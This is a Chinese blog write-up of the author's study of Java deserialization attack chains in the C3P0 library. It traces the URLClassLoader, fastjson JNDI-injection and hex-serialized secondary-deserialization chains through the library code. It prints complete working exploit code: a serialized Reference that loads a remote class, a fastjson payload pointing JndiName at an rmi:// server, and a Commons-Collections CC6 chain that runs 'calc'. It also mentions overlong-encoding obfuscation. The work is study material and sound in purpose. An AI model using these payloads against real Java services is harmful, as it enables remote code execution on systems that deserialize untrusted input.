先看看C3p0是干什么的
C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等。
JDBC是Java DataBase Connectivity的缩写,它是Java程序访问数据库的标准接口。
使用Java程序访问数据库时,Java代码并不是直接通过TCP连接去访问数据库,而是通过JDBC接口来访问,而JDBC接口则通过JDBC驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
说实话,还是没能理解在开发中的作用,还是得开发实战一下才能理解。。。
依赖
1 2 3 4 5
| <dependency> <groupId>com.mchange</groupId> <artifactId>c3p0</artifactId> <version>0.9.5.2</version> </dependency>
|
C3p0主要打的是如下三种方式
- URLClassLoader 远程类加载
- JNDI 注入
- HEX 序列化字节加载器反序列化攻击
URLClassLoader 远程类加载
利用
先看利用再跟链子,这里利用直接将ysoserial的jar包导为依赖利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| package FastjsonPoc; import ysoserial.Serializer; import ysoserial.payloads.C3P0; import java.io.ByteArrayInputStream; import java.io.ObjectInputStream; public class C3p0Test { public static void main(String[] args) throws Exception{ C3P0 c3P0 = new C3P0(); Object object = c3P0.getObject("http://127.0.0.1:8866/:test"); byte[] serialize = Serializer.serialize(object); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(serialize); ObjectInputStream oos = new ObjectInputStream(byteArrayInputStream); Object o = oos.readObject(); } }
|
:test
这个即执行命令的恶意字节码,在这个字节码路径用python起个服务用于远程类加载
运行即可弹计算器成功
分析
这里先尽量尝试自己分析一遍流程
1 2 3 4 5 6 7 8 9 10 11
| readObject:205, PoolBackedDataSourceBase (com.mchange.v2.c3p0.impl) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:497, Method (java.lang.reflect) invokeReadObject:1058, ObjectStreamClass (java.io) readSerialData:1900, ObjectInputStream (java.io) readOrdinaryObject:1801, ObjectInputStream (java.io) readObject0:1351, ObjectInputStream (java.io) readObject:371, ObjectInputStream (java.io) main:17, C3p0Test (FastjsonPoc)
|
从调用栈可以发现,最终是来到PoolBackedDataSourceBase
类下的readObject方法执行的命令
这个if判断完计算器被弹出,继续跟进,这里先看结果
最终是在com/mchange/v2/naming/ReferenceableUtils.class
下进行的实例化,由于是用的ysoserial所以这里的代码都是反编译的,还是不用这个,看原本的代码进行分析,这里自己尝试分析了一下,但是自己还是无法独立理清整个逻辑,写不出exp,tcl。。。
这里先尝试自己写个最后利用的exp,利用ysoserial分析一下referenceToObject
方法的参数
这里可以看到第一个参数是Reference
类的对象,里面含有我们的危险类和远程地址,其它的为null即可
但是这个Reference
类是一个抽象类,没法直接实例化,emmm,不知道大哥们怎么解决的,我这儿跑直接报错了,不过无所谓,继续往后看,在ReferenceIndirector#getObject()
中调用了上面那个方法
这里其实还有个lookup函数,但是有个if判断,可不可控这里先不管,然后其它就没啥了,继续往上看到PoolBackedDataSourceBase#readObject()
,这里有个if判断
1
| if (o instanceof IndirectlySerialized)
|
这里的o必须要为IndirectlySerialized
的实例才能执行getObject
,调用完getObject
后会将o强转为ConnectionPoolDataSource
的对象,但是这个接口不能反序列化
这个接口不能反序列化能理解,因为没有继承Serializable
,这里为什么需要ConnectionPoolDataSource
能够反序列化呢?其实看了很多文章这里都没有很明确的解释,我猜测是因为在序列化的时候对象o是要被序列化的,但是执行完getObject()
后就被强转为ConnectionPoolDataSource
的对象,这部分也是需要被序列化进去的,那么反序列化的时候就会执行IndirectlySerialized -> ConnectionPoolDataSource
这样的转换,所以不能够反序列化的话就不行,这里其实自己也有点懵,先这样吧,到这里似乎反序列化就已经没法跟了,那么顺着看序列化去
来到PoolBackedDataSourceBase#writeObject
下
到这里可以看到会先尝试序列化connectionPoolDataSource
,无法序列化的化就进入catch,显示这里无法序列化,那么进入catch看看
1 2 3 4 5 6 7 8 9 10 11
| { com.mchange.v2.log.MLog.getLogger( this.getClass() ).log(com.mchange.v2.log.MLevel.FINE, "Direct serialization provoked a NotSerializableException! Trying indirect.", nse); try { Indirector indirector = new com.mchange.v2.naming.ReferenceIndirector(); oos.writeObject( indirector.indirectForm( connectionPoolDataSource ) ); } catch (IOException indirectionIOException) { throw indirectionIOException; } catch (Exception indirectionOtherException) { throw new IOException("Problem indirectly serializing connectionPoolDataSource: " + indirectionOtherException.toString() ); } }
|
可以看到是indirector.indirectForm
进行了处理,直接跟进这个方法
1 2 3 4
| public IndirectlySerialized indirectForm( Object orig ) throws Exception { Reference ref = ((Referenceable) orig).getReference(); return new ReferenceSerialized( ref, name, contextName, environmentProperties ); }
|
这里返回了ReferenceSerialized
的对象,而它是可以被反序列化的
1 2 3
| private static class ReferenceSerialized implements IndirectlySerialized
public interface IndirectlySerialized extends Serializable
|
这样connectionPoolDataSource
就从不可序列化变为了可序列化,实际上已经是序列化的ReferenceSerialized
的对象,到这里这条链就基本结束了
EXP
上面想写个直接利用的exp不是遇到了Reference
没法直接实例化的问题了吗,在JndiRefConnectionPoolDataSource
类下有个getReference()
方法会直接返回个Reference对象
利用该方法构造Reference对象放入恶意类和地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package ysoserial.test; import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; import javassist.ClassPool; import javassist.bytecode.stackmap.TypeData; import javax.naming.NamingException; import javax.naming.Reference; import javax.naming.Referenceable; import javax.sql.ConnectionPoolDataSource; import javax.sql.PooledConnection; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.sql.SQLException; import java.sql.SQLFeatureNotSupportedException; import java.util.logging.Logger; public class C3p0Self { public static void main(String[] args) throws Exception{ PoolBackedDataSourceBase pBS = new PoolBackedDataSourceBase(false); Class<?> aClass = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); Field cPD = aClass.getDeclaredField("connectionPoolDataSource"); cPD.setAccessible(true); cPD.set(pBS,new reference()); serializer(pBS); unserializer("ser.bin"); } public static class reference implements ConnectionPoolDataSource,Referenceable { @Override public Reference getReference() throws NamingException { return new Reference("test", "test", "http://127.0.0.1:8888/"); } @Override public PooledConnection getPooledConnection() throws SQLException { return null; } @Override public PooledConnection getPooledConnection(String username, String password) throws SQLException { return null; } public PrintWriter getLogWriter() throws SQLException { return null; } @Override public void setLogWriter(PrintWriter out) throws SQLException { } @Override public void setLoginTimeout(int seconds) throws SQLException { } @Override public int getLoginTimeout() throws SQLException { return 0; } @Override public Logger getParentLogger() throws SQLFeatureNotSupportedException { return null; } } public static void serializer(Object obj) throws Exception{ ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); outputStream.writeObject(obj); } public static Object unserializer(String filename) throws Exception{ ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename)); Object o = objectInputStream.readObject(); return o; } }
|
同时,这个也能利用overlongencoding方法混淆
但是最关键的类还是没能混淆掉,有待进一步混淆
利用链
1 2 3 4
| PoolBackedDataSourceBase#readObject -> ReferenceSerialized#getObject -> ReferenceableUtils#referenceToObject -> ObjectFactory#getObjectInstance
|
JNDI注入
分析
这条链是基于fastjson或jackson的,相当于是fastjson的链了
这条链的漏洞点在JndiRefForwardingDataSource#dereference
下的lookup
可以看到只要jndiName
参数可控就可以造成jndi注入,它是通过getJndiName()
方法获取,看看这个方法
可以看到这里返回一个Name或者String的jndiName
,但是这里只是获取,还需要找怎么赋值的,找了半天到这里没思路了,看其它的师傅到这里是先没找了,而是从dereference()
处往上找,找到的是inner()
,其实这个都没必要找,因为注释已经说了,只能用inner()
调用
继续往上找
这里找的是int型的setLoginTimeout()
函数,这里再搜索其实可以看到下面的结果
委托至另一个实例方法,这里其实就是JndiRefConnectionPoolDataSource
类下的setLoginTimeout()
方法
1 2 3
| public void setLoginTimeout(int seconds) throws SQLException { wcpds.setLoginTimeout( seconds ); }
|
这个wcpds
是WrapperConnectionPoolDataSource
类下的实例,所以会调用这个类下的setLoginTimeout()
方法
1 2 3
| public void setLoginTimeout(int seconds) throws SQLException { getNestedDataSource().setLoginTimeout( seconds ); }
|
然后继续看下getNestedDataSource()
方法
1 2
| public synchronized DataSource getNestedDataSource() { return nestedDataSource; }
|
这里nestedDataSource
其实继续跟是DataSource
的对象,但是看文章这里调试的话是JndiRefForwardingDataSource
的对象,这里我尝试了简单的调用调试,发现它为null
1 2 3 4 5 6
| public static void main(String[] args) throws Exception{ Class<?> aClass = Class.forName("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"); Method setLoginTimeout = aClass.getDeclaredMethod("setLoginTimeout", int.class); setLoginTimeout.invoke(aClass.newInstance(), 10); }
|
不知道那些师傅是怎么调试的,直接拿着exp调的话感觉就比较难理解这一步,但是这里我也想不出啥办法了,所以先就这样吧
拿着exp调试发现确实是JndiRefForwardingDataSource
类,然后jndiName也是通过fastjson调用setter设置的,是在JndiRefDataSourceBase#setJndiName
下完成
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package ysoserial.test; import com.alibaba.fastjson.JSON; public class C3p0Jndi { public static void main(String[] args) throws Exception{ String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," + "\"JndiName\":\"rmi://127.0.0.1:8085/EyHEEMWG\", " + "\"LoginTimeout\":0" + "}"; JSON.parseObject(payload); } }
|
这里利用yakit生成的一个恶意服务器,利用成功,ldap和rmi都可用
利用链
1 2 3 4 5 6 7 8 9 10 11
| #修改jndiName JndiRefConnectionPoolDataSource#setJndiName -> JndiRefForwardingDataSource#setJndiName #JNDI调用 JndiRefConnectionPoolDataSource#setLoginTime -> WrapperConnectionPoolDataSource#setLoginTime -> JndiRefForwardingDataSource#setLoginTimeout -> JndiRefForwardingDataSource#inner -> JndiRefForwardingDataSource#dereference() -> Context#lookup
|
HEX序列化字节加载器
这里链可以用于不出网环境,也是一条二次反序列化链
分析
这条链入口在WrapperConnectionPoolDataSource
类下的接收一个布尔值的构造函数上
跟进parseUserOverridesAsString
方法
1 2 3 4 5 6 7 8 9 10
| public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException { if (userOverridesAsString != null) { String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1); byte[] serBytes = ByteUtils.fromHexAscii( hexAscii ); return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) ); } else return Collections.EMPTY_MAP; }
|
这个方法首先判断userOverridesAsString
是否为空,这里肯定是能满足的,因为是通过getter方法获取的,利用fastjson很容易调用,然后就是将userOverridesAsString
的HASM_HEADER
去掉还会去掉最后一个字符,HASM_HEADER
是一个默认值
所以序列化的时候加上就行,去掉最后一个字符给它随便补个东西即可,我们选择的是补个分号,然后是ByteUtils.fromHexAscii( hexAscii )
方法,这个方法将十六进制字符串转换为字节数组,所以我们传入的应该是十六进制字符,然后就是最后一句返回了
1
| return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
|
这段代码的作用就是将字节数组serBytes反序列化为一个Map对象,然后,使用Collections.unmodifiableMap()将这个Map对象转换为一个不可修改的Map对象,跟进fromByteArray
方法
继续跟进deserializeFromByteArray
方法
可以看到调用了readObject方法,所以这个也是一条二次反序列化链
EXP
这条链其实跟下来发现就很简单,但是其实构造exp的时候有点迷,利用fastjson反序列化的特性其实会先调用构造函数,其次才会调getter即getUserOverridesAsString()
方法,那么其实第一次就不会触发到我们的危险序列化数据,所以这里其实是需要触发两次构造函数,编写exp其实就是将CC链的序列化数据进行16进制编码后加到userOverridesAsString
中即可,这里先拿枫师傅的exp调试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106
| import com.alibaba.fastjson.JSON; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import java.beans.PropertyVetoException; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.StringWriter; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map; public class C3P0_Hex { public static Map CC6() throws NoSuchFieldException, IllegalAccessException { Transformer[] transformers=new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); HashMap<Object,Object> hashMap1=new HashMap<>(); LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"abc"); HashMap<Object,Object> hashMap2=new HashMap<>(); hashMap2.put(tiedMapEntry,"eee"); lazyMap.remove("abc"); Class clazz=LazyMap.class; Field factoryField= clazz.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap,chainedTransformer); return hashMap2; } static void addHexAscii(byte b, StringWriter sw) { int ub = b & 0xff; int h1 = ub / 16; int h2 = ub % 16; sw.write(toHexDigit(h1)); sw.write(toHexDigit(h2)); } private static char toHexDigit(int h) { char out; if (h <= 9) out = (char) (h + 0x30); else out = (char) (h + 0x37); return out; } public static byte[] tobyteArray(Object o) throws IOException { ByteArrayOutputStream bao = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bao); oos.writeObject(o); return bao.toByteArray(); } public static String toHexAscii(byte[] bytes) { int len = bytes.length; StringWriter sw = new StringWriter(len * 2); for (int i = 0; i < len; ++i) addHexAscii(bytes[i], sw); return sw.toString(); } public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException { String hex = toHexAscii(tobyteArray(CC6())); System.out.println(hex); String payload = "{" + "\"1\":{" + "\"@type\":\"java.lang.Class\"," + "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" + "}," + "\"2\":{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}" + "}"; JSON.parse(payload); } }
|
可以看到此时我们的序列化数据并没有传进来,然后后面会调用到下面这个方法
这个方法的参数就是我们的恶意序列化数据,这里会判断oldVal
和userOverridesAsString
是否相等或者都为空,否则的化就会将我们传入的恶意序列化数据赋值给userOverridesAsString
,但是当我走到最后一句的时候计算机就弹出来了,所以肯定就不是在我们原先分析的那里触发的,我们跟进fireVetoableChange
方法,会来到vetoableChange
方法
下面即是parseUserOverridesAsString
方法和上面的就是一样的了
这里的var即我们恶意的序列化数据,所以其实这里是在setUserOverridesAsString
方法下将我们恶意的序列化数据赋值给var触发二次反序列化的
所以其实下面这个payload也是可以的
1 2 3 4
| String payload = "{" + "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," + "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," + "}";
|
反而这里的第一个payload没太理解,那里调试也是走的setUserOverridesAsString
,先不管了,因为最后是由readObject解析序列化数据,所以这里同样可以利用overlongencoding
可以看到只需要用JavaAgent hook一下即可代码都不用改,下面这是原本的样子
利用链
1 2 3 4 5 6 7 8 9 10
| #设置userOverridesAsString属性值 WrapperConnectionPoolDataSource#setuserOverridesAsString -> WrapperConnectionPoolDataSourceBase#setUserOverridesAsString #初始化类时反序列化十六进制字节流 WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource -> C3P0ImplUtils#parseUserOverridesAsString -> SerializableUtils#fromByteArray -> SerializableUtils#deserializeFromByteArray -> ObjectInputStream#readObject
|
总结
中间还是有很多迷惑点的,但是就先这样吧,感觉用CodeQL找应该会有不一样的感觉吧,等学会了怎么写查询再来看看
参考
【Web】浅聊Java反序列化之C3P0——URLClassLoader利用-CSDN博客
https://drun1baby.top/2022/10/06/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BC3P0%E9%93%BE
https://goodapple.top/archives/1749
https://xz.aliyun.com/t/12286